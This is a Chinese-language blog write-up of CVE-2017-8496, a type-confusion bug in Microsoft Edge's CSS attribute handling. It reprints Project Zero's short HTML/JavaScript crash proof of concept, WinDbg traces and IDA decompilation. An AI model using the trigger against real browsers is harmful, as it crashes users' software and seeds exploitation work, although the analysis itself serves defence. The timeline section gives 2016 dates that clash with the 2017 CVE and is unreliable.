CVE-2017-8496 Microsoft Edge: Ty

2017-08-14  本文已影响47人  lilyui

1. Vulnerability Description

1.1 The Issue

崩溃发生在CAttrArray::PrivateFindInl函数中。 在函数中rcx(this)指针应该指向一个CAttrArray,但它实际上指向一个CAttribute。
CAttrArray::PrivateFindInl只会执行读取操作,其返回值将被调用函数(CAttrArray::SetParsed)抛弃。

1.2 Affect version

Windows 10 Enterprise 64-bit (OS version 1607, OS build 14393.1198)
Microsoft Edge 38.14393.1066.0, Microsoft EdgeHTML 14.14393.

1.3 Timeline

01/12/2016 Advisory disclosed
01/12/2016 +0 days Countermeasure disclosed
01/12/2016 +0 days SecurityTracker entry created
01/12/2016 +0 days VulnerabilityCenter entry assigned
01/13/2016 +1 days VulnerabilityCenter entry created
01/14/2016 +1 days VulDB entry created
01/17/2016 +3 days VulnerabilityCenter entry updated
01/19/2016 +2 days VulDB last update

2. Technical description and PoC

2.1 Crash

从Google Project Zero的报告中获取的PoC如下

<!-- saved from url=(0014)about:internet -->
<script>
function go() {
  window.addEventListener("DOMAttrModified", undefined);
  m.style.cssText = "clip-path: url(#foo);";
}
</script>
<body onload=go()>
<meter id="m" value="a" frame="below">

WinDBG attach到Edge上,运行PoC,发现Crash(注:这里用了一款Edge专用的辅助Debug的工具,可以比较方便的在命令行直接attach到进程上。)

edgehtml!CAttrArray::PrivateFindInl+0xd6:
00007ffa`3b9e04b6 41f644d00380    test    byte ptr [r8+rdx*8+3],80h ds:00000003`0005ffbe=??

可以看出,这里是引用了一个无效的指针,此时的调用栈如下

1:048> k
 # Child-SP          RetAddr           Call Site
00 00000013`84bfad60 00007ffa`3bbaccc9 edgehtml!CAttrArray::PrivateFindInl+0xd6
01 00000013`84bfad90 00007ffa`3bb1a68b edgehtml!CAttrArray::SetParsed+0x49
02 00000013`84bfae00 00007ffa`3bb1c40c edgehtml!CssParser::RecordProperty+0x24b
03 00000013`84bfae70 00007ffa`3bb1b10c edgehtml!CssParser::HandleSingleDeclaration+0x21c
04 00000013`84bfaef0 00007ffa`3bae026b edgehtml!CssParser::HandleDeclaration+0x9c
05 00000013`84bfaf20 00007ffa`3badedaa edgehtml!CssParser::Write+0x3b
06 00000013`84bfaf60 00007ffa`3b93165c edgehtml!ProcessCSSText+0x112
07 00000013`84bfafe0 00007ffa`3b94aae3 edgehtml!CStyle::SetCssText+0xbc
08 00000013`84bfb020 00007ffa`3bc2ed85 edgehtml!CFastDOM::CCSSStyleDeclaration::Trampoline_Set_cssText+0x77
09 00000013`84bfb070 00007ffa`3af6c35b edgehtml!CFastDOM::CCSSStyleDeclaration::Profiler_Set_cssText+0x25
0a 00000013`84bfb0a0 00007ffa`3af34460 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x16b
0b 00000013`84bfb180 00007ffa`3aed6d09 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x180
0c 00000013`84bfb1d0 00007ffa`3aed44ae chakra!Js::JavascriptOperators::CallSetter+0xa9
0d 00000013`84bfb270 00007ffa`3aed4be2 chakra!Js::JavascriptOperators::SetProperty_Internal<0>+0x4de
0e 00000013`84bfb330 00007ffa`3aed4b1f chakra!Js::JavascriptOperators::OP_SetProperty+0xa2
0f 00000013`84bfb380 00007ffa`3af8c1fb chakra!Js::JavascriptOperators::PatchPutValueWithThisPtrNoFastPath+0x9f
10 00000013`84bfb400 00007ffa`3aec1ca0 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x1cb
11 00000013`84bfb4d0 00007ffa`3aec6a50 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x70
12 00000013`84bfb520 00007ffa`3aec4aa2 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x340
13 00000013`84bfb5b0 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x142
14 00000013`84bfb610 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
15 00000013`84bfb950 00000176`dcdc0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
16 00000013`84bfb9a0 00007ffa`3aff1393 0x00000176`dcdc0fb2
17 00000013`84bfb9d0 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
18 00000013`84bfba20 00007ffa`3aec0490 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
19 00000013`84bfba80 00007ffa`3aec4f4d chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
1a 00000013`84bfbad0 00007ffa`3aec4b07 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
1b 00000013`84bfbb60 00007ffa`3aec8b5e chakra!Js::InterpreterStackFrame::Process+0x1a7
1c 00000013`84bfbbc0 00007ffa`3aeca265 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x48e
1d 00000013`84bfbf00 00000176`dcdc0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
1e 00000013`84bfbf50 00007ffa`3aff1393 0x00000176`dcdc0fba
1f 00000013`84bfbf80 00007ffa`3aebd873 chakra!amd64_CallFunction+0x93
20 00000013`84bfbfd0 00007ffa`3af2c2ec chakra!Js::JavascriptFunction::CallFunction<1>+0x83
21 00000013`84bfc030 00007ffa`3af2b8b6 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
22 00000013`84bfc120 00007ffa`3afd6259 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
23 00000013`84bfc190 00007ffa`3af31d41 chakra!ScriptSite::CallRootFunction+0xb5
24 00000013`84bfc230 00007ffa`3af2d8fc chakra!ScriptSite::Execute+0x131
25 00000013`84bfc2c0 00007ffa`3bb3278d chakra!ScriptEngineBase::Execute+0xcc
26 00000013`84bfc360 00007ffa`3bb326d8 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
27 00000013`84bfc3b0 00007ffa`3bb431f7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
28 00000013`84bfc3f0 00007ffa`3bb42fe7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
29 00000013`84bfc570 00007ffa`3bb310da edgehtml!CListenerDispatch::Invoke+0xdb
2a 00000013`84bfc5f0 00007ffa`3bbc1602 edgehtml!CEventMgr::_InvokeListeners+0x2ca
2b 00000013`84bfc750 00007ffa`3ba9a495 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
2c 00000013`84bfc780 00007ffa`3ba99f23 edgehtml!CEventMgr::Dispatch+0x405
2d 00000013`84bfca50 00007ffa`3bad00c2 edgehtml!CEventMgr::DispatchEvent+0x73
2e 00000013`84bfcaa0 00007ffa`3bb0296a edgehtml!COmWindowProxy::Fire_onload+0x14e
2f 00000013`84bfcbb0 00007ffa`3bb01596 edgehtml!CMarkup::OnLoadStatusDone+0x376
30 00000013`84bfcc70 00007ffa`3bb46d7f edgehtml!CMarkup::OnLoadStatus+0x112
31 00000013`84bfcca0 00007ffa`3bb2859d edgehtml!CProgSink::DoUpdate+0x3af
32 00000013`84bfd130 00007ffa`3bb29d70 edgehtml!GlobalWndOnMethodCall+0x24d
33 00000013`84bfd230 00007ffa`593e1c24 edgehtml!GlobalWndProc+0x130
34 00000013`84bfd2f0 00007ffa`593e156c user32!UserCallWinProcCheckWow+0x274
35 00000013`84bfd450 00007ffa`380ec781 user32!DispatchMessageWorker+0x1ac
36 00000013`84bfd4d0 00007ffa`380eec41 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
37 00000013`84bff720 00007ffa`4f7b9266 EdgeContent!LCIETab_ThreadProc+0x2c1
38 00000013`84bff840 00007ffa`59d98364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
39 00000013`84bff870 00007ffa`59f55e91 KERNEL32!BaseThreadInitThunk+0x14
3a 00000013`84bff8a0 00000000`00000000 ntdll!RtlUserThreadStart+0x21

寄存器的值如下

1:048> r
rax=0000000000003ffd rbx=0000000000000002 rcx=00000176d9804cf0
rdx=000000000000bff7 rsi=0000000000003ffd rdi=0000000000000000
rip=00007ffa3b9e04b6 rsp=0000001384bfad60 rbp=0000000000000002
 r8=0000000300000003  r9=00000000800114a4 r10=0000000000000000
r11=0000000000007ffa r12=00000176d9a9c680 r13=00000176d9734b01
r14=00000176d9804c88 r15=0000000000000000
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202

在ida中查看相关的代码:

int __fastcall CAttrArray::PrivateFindInl(__int64 this, int a2, signed int CAttrValue__AATYPE)
{
    signed int v3; // edi@1
    signed int v4; // er10@1
    int v5; // er9@1
    __int64 this_add_4; // r11@4
    __int64 this_add_8; // r8@4
    signed int v8; // ebx@4
    unsigned __int64 v9; // rax@7
    signed __int64 v10; // rdx@7
    unsigned __int64 v11; // r11@8
    int v12; // ecx@10
    signed int v13; // ecx@16
    __int64 v14; // rsi@22
    int v15; // ecx@23
    signed int v16; // ecx@34
    signed int v17; // esi@38
    signed __int64 v18; // rdx@38
    int v19; // ecx@40
    int v21; // [sp+38h] [bp+10h]@20

    v3 = 0;
    v4 = CAttrValue__AATYPE;
    v5 = a2;
    if ( CAttrValue__AATYPE == 6 )
        v4 = 0;
    if ( a2 == -1 )
    {
        v21 = -1;
        LODWORD(v9) = CAttrArray::PrivateFindLinear(this, (unsigned int)v4, &v21, 0xFFFFFFFFi64);
    }
    else
    {
        this_add_4 = *(_DWORD *)(this + 4);
        this_add_8 = *(_QWORD *)(this + 8);
        v8 = 2;
        if ( v4 > 2 )
            v8 = v4;
        if ( (signed int)this_add_4 < 11 )
        {
            v9 = *(_QWORD *)(this + 8);
            v10 = 3 * this_add_4;
            goto LABEL_8;
        }
        if ( (signed int)this_add_4 > 0 )
        {
            while ( 1 )
            {
                v14 = ((signed int)this_add_4 + v3) / 2;
                v9 = this_add_8 + 24 * v14;
                if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )// vuln
                    v15 = *(_DWORD *)(v9 + 8);
                else
                    v15 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
                if ( a2 < v15 )
                {
                    LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
                    goto LABEL_26;
                }
                if ( a2 > v15 )
                    goto LABEL_30;
                v16 = *(_BYTE *)v9;
                if ( v4 == v16 )
                    return v9;
                if ( v8 >= v16 )
                    break;
                LODWORD(this_add_4) = ((signed int)this_add_4 + v3) / 2;
LABEL_26:
                if ( (signed int)this_add_4 - v3 < 10 )
                {
                    v9 = this_add_8 + 24i64 * v3;
                    goto LABEL_28;
                }
                if ( v3 >= (signed int)this_add_4 )
                    goto LABEL_19;
            }
            if ( v8 == 2i64 )
            {
                v17 = v14 - 1;
                v18 = v9 - 24;
                if ( v17 >= v3 )
                {
                    while ( 1 )
                    {
                        v19 = *(_BYTE *)(v18 + 3) & 0x80 ? *(_DWORD *)(v18 + 8) : *(_DWORD *)(*(_QWORD *)(v18 + 8) + 48i64);
                        if ( v5 != v19 )
                            break;
                        if ( v4 == *(_BYTE *)v18 )
                        {
                            LODWORD(v9) = v18;
                            return v9;
                        }
                        if ( v17 != v3 )
                        {
                            v18 -= 24i64;
                            if ( --v17 >= v3 )
                                continue;
                        }
                        break;
                    }
                }
LABEL_28:
                v10 = 3i64 * (signed int)this_add_4;
LABEL_8:
                v11 = this_add_8 + 8 * v10;
                if ( v9 < v11 )
                {
                    while ( 1 )
                    {
                        if ( *(_BYTE *)(v9 + 3) & 0x80 )
                            v12 = *(_DWORD *)(v9 + 8);
                        else
                            v12 = *(_DWORD *)(*(_QWORD *)(v9 + 8) + 48i64);
                        if ( v12 >= v5 )
                        {
                            if ( v12 != v5 )
                                goto LABEL_19;
                            v13 = *(_BYTE *)v9;
                            if ( v13 == v4 )
                                return v9;
                            if ( v13 > v8 )
                                goto LABEL_19;
                        }
                        v9 += 24i64;
                        if ( v9 >= v11 )
                            goto LABEL_19;
                    }
                }
                goto LABEL_19;
            }
LABEL_30:
            v3 = v14 + 1;
            goto LABEL_26;
        }
LABEL_19:
        LODWORD(v9) = 0;
    }
    return v9;
}

其中引发问题的指令是

if ( *(_BYTE *)(this_add_8 + 24 * v14 + 3) & 0x80 )

其中this_add_8变量对应的是 rcx+8

那么先查看下rcx的值

1:048> dps rcx
00000176`d9804cf0  00007ffa`3c562d38 edgehtml!CAttribute::`vftable'
00000176`d9804cf8  00000003`00000003
00000176`d9804d00  00000000`00000008
00000176`d9804d08  00000000`00000000
00000176`d9804d10  00000000`00000000
00000176`d9804d18  00000176`dcc18150
00000176`d9804d20  00007ffa`3c55fae0 edgehtml!s_propdescCElementstyle_Str
00000176`d9804d28  00000000`800103eb
00000176`d9804d30  00000176`d9a742f4
00000176`d9804d38  00000000`00000000
00000176`d9804d40  00000000`00000000
00000176`d9804d48  00000000`00000000
00000176`d9804d50  00000176`d9828500
00000176`d9804d58  00000176`d98a8580
00000176`d9804d60  00000176`d9850c00
00000176`d9804d68  00000176`d983c330

这里rcx是this指针,在CAttrArray::PrivateFindInl这个类的函数中应该是一个CAttrArray对象的this指针,可是这里rcx存了一个CAttribute的虚表对象,也就是说,在之前有一个错误的调用。

那么根据调用栈继续上溯,我们可以看到CAttrArray::SetParsed函数,调用PrivateFindInl的代码如下

if ( v6 || (v8 = *a1) == 0i64 || (LODWORD(v9) = CAttrArray::PrivateFindInl((__int64)v8, a2, 0), !v9) )
{
  v11 = v4;
  v10 = 31;
  CAttrArray::Set(v7, (unsigned int)v5, &v10, 0i64);
}

也就是说这里如果该函数返回错误的值,那么CAttrArray::Set将不会执行。

继续向上回溯,查看CssParser::RecordProperty函数

void __fastcall CssParser::RecordProperty(CssParser *this, struct CssTokenizer *a2, __int32 a3, char a4, bool a5)
{
    char v5; // si@1
    __int32 v6; // edi@1
    struct CssTokenizer *v7; // r14@1
    CssParser *v8; // rbp@1
    CBase *v9; // rcx@3
    char v10; // bl@4
    bool v11; // r15@4
    bool v12; // al@6
    char v13; // r13@9
    unsigned __int8 v14; // bl@10
    MemoryProtection *v15; // rsi@11
    const unsigned __int16 *v16; // r12@11
    __int32 v17; // er8@13
    __int64 v18; // rcx@18
    const unsigned __int16 *v19; // rdi@18
    unsigned __int64 v20; // rsi@18
    __int64 v21; // rax@18
    __int16 v22; // ax@24
    unsigned __int64 v23; // r14@30
    signed __int64 v24; // r14@31
    const struct PROPERTYDESC *v25; // rax@37
    int v26; // er10@37
    CDoc *v27; // rax@44
    const unsigned __int16 *v28; // rdx@51
    unsigned __int16 *v29[2]; // [sp+20h] [bp-48h]@4
    __int64 v30; // [sp+30h] [bp-38h]@4
    __int32 v31; // [sp+80h] [bp+18h]@1

    v31 = a3;
    v5 = a4;
    v6 = a3;
    v7 = a2;
    v8 = this;
    if ( *((_UNKNOWN **)this + 22) == &CCSSStyleDeclaration::s_apHdlDescs && *((_QWORD *)this + 2) )
    {
        v9 = (CBase *)*((_QWORD *)this + 23);
        if ( !v9 )
        {
LABEL_4:
            v10 = 0;
            v30 = 0i64;
            _mm_storeu_si128((__m128i *)v29, 0i64);
            v11 = v6 == -1;
            v12 = v5 || v11;
            if ( a5 || v12 )
            {
                v13 = 1;
                if ( v12 )
                    v10 = -128;
            }
            else
            {
                v13 = 0;
            }
            v14 = v10 | 8;
            if ( !v13 )
            {
LABEL_11:
                v15 = (MemoryProtection *)v29[0];
                v16 = &g_szEmpty;
                if ( v11 )
                {
                    if ( v29[0] )
                        v28 = v29[0];
                    else
                        v28 = &g_szEmpty;
                    if ( CssParser::GetExpandoDispID(v8, v28, &v31) )
                    {
LABEL_15:
                        if ( v15 )
                            MemoryProtection::HeapFree(v15, (void *)a2);
                        return;
                    }
                    v6 = v31;
                }
                if ( v6 != -1 )
                {
                    v17 = *((_DWORD *)v8 + 7) + 1;
                    if ( (unsigned int)v17 > *((_DWORD *)v8 + 6) >> 2 )
                    {
                        if ( v17 < 0 )
                        {
                            Abandonment::InvalidArguments();
                            JUMPOUT(*(_QWORD *)&byte_18042A78B);
                        }
                        CImplAry::EnsureSizeWorker((CssParser *)((char *)v8 + 24), 4ui64, v17);
                    }
                    *(_DWORD *)(*((_QWORD *)v8 + 4) + 4i64 * (*((_DWORD *)v8 + 7))++) = v6;
                    if ( v13 )
                    {
                        if ( v11 )
                        {
                            CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
                        }
                        else
                        {
                            v25 = GetStandardPropDescFromAliasDISPID(v31);
                            if ( v25 )
                                v26 = *((_DWORD *)v25 + 12);
                            if ( v15 )
                                v16 = (const unsigned __int16 *)v15;
                            CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);
                        }
                    }
                }
                goto LABEL_15;
            }
            v18 = *((_QWORD *)v7 + 1);
            v19 = (const unsigned __int16 *)*((_QWORD *)v7 + 5);
            v20 = v18 + 2i64 * *((_DWORD *)v7 + 5);
            v21 = *((_DWORD *)v7 + 4);
            if ( v20 > v18 + 2 * v21 )
                v20 = v18 + 2 * v21;
            if ( !v11 )
            {
                if ( (unsigned __int64)v19 >= v20 )
                {
LABEL_31:
                    v24 = (signed __int64)(v20 - (_QWORD)v19) >> 1;
                    if ( !v11 && (unsigned int)v24 >= 0xA && !StrCmpNICW(v20 - 20, L"!important", 10i64) )
                    {
                        LODWORD(v24) = v24 - 10;
                        v14 |= 2u;
                    }
                    CBuffer::Append((CBuffer *)v29, v19, v24);
                    CBuffer::TrimTrailingWhitespace((CBuffer *)v29);
                    v6 = v31;
                    goto LABEL_11;
                }
                if ( 58 == *v19 )
                    ++v19;
                v22 = *(_WORD *)(v20 - 2);
                if ( v22 == 59 || !v22 || v22 == 125 )
                    v20 -= 2i64;
            }
            if ( (unsigned __int64)v19 < v20 )
            {
                while ( IsCharSpaceW(*v19) )
                {
                    ++v19;
                    if ( (unsigned __int64)v19 >= v20 )
                        goto LABEL_31;
                }
                if ( (unsigned __int64)v19 < v20 )
                {
                    do
                    {
                        v23 = v20 - 2;
                        if ( !IsCharSpaceW(*(_WORD *)(v20 - 2)) )
                            break;
                        v20 -= 2i64;
                    }
                    while ( (unsigned __int64)v19 < v23 );
                }
            }
            goto LABEL_31;
        }
        v27 = CBase::GetCDoc(v9);
        if ( !v27 || CDoc::CheckCSSDiagnosticsAvailability(v27) )
        {
            v6 = v31;
            goto LABEL_4;
        }
    }
}

CAttrArray::SetParsed的调用在下面两句:

CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v31, &pwzURI, v14);
CAttrArray::SetParsed(*((struct CAttrArray ***)v8 + 2), v26, v16, v14);

这里v8是this指针,也就是说在这里发生了一次错误的调用,本来应该传入的是CAttrArray,但是传入了一个CAttribute,造成了Type confusion

3. References

1. project-zero
2. nvd
3. cve
4. seebug

上一篇下一篇

猜你喜欢

热点阅读